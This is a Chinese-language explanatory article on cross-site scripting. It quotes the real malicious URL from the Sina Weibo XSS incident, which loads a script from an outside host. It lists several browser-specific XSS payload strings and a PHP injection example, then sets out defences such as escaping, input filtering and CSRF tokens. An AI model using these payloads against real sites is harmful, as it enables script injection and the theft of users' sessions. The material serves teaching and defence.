XSS攻击有两种方法:
一,把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js自动进行很多操作。二,来自外部的攻击,主要指的是构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在
自己的服务器上,然后通过结合其它技术,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的(可能需要hack浏览器)。 新浪XSS事件:Chrome 和 Safari 都没中招。IE、Firefox未能幸免。(创建http对象代码不支持)
http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
注意,上面URL链接中的其实就是<script src=//www.2kt.cn/images/t.js></script>。
正常情况下,点击那个URL,应该返回404.如果没有。。。结果就是执行了位于2kt.cn上的js脚本
1)<table background=”javascript:alert(1)”>IE6,7,8,9,和Opera 8.x, 9.x, 10.x 都支持这样的语法。
2)<meta charset=”mac-farsi”>?script?alert(1)?/script?
这个问题会存在于所有的Firefox版本中,可以让用户进行XSS(跨站脚本)攻击
3)<script>&#x61;l&#x65;rt&#40;1)</script>
在<script>和<style>的TAG间,根据标据,其可以使用这样的字符来运行脚本。这在所有版本的Firefox, Opera, 和 Chrome中都会有问题。
4)({set/**/$($){_/**/setter=$,_=1}}).$=alert上面这个是Firefox的一个语法,也会产生XSS攻击。
5)<div style=”font-family:foo}x=expression(write(1));”>XXX</div>
自从IE5.5后,直到IE9,IE就可以支持上面这样的语法。
6)src中是可以运行脚本的,如:
<embed src=”javascript:alert(1)”>
<img src=”javascript:alert(1)”><image src=”javascript:alert(1)”><script src=”javascript:alert(1)”>又一个XSS攻击,几乎所有的浏览器都支持这样的方式,如:Firefox全部版本,Chrome 4.x/5.x,Opera 8.x/9.x/10.0,IE 6.0/7.0和Safari 3.x/4.x
如何避免
要防止XSS攻击,一般来说有下面几种手段:
严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。
严格过滤用户的输入。如:PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。Python的cgi.escape()ASP的Server.HTMLEncode()。Node.js的node-validator。Java的xssprotect。https://code.google.com/p/xssprotect/在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。限制cookie的过期时间。对于CSRF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。
eg:
假如我们有这样一段PHP的代码:$username = $_GET['username'];echo '<div> Welcome, ' . $username . '</div>';那么我们可以这样来注入:http://trustedSite.example.com/welcome.php?username=<Script Language=”Javascript”>alert(“You’ve been attacked!”);</Script>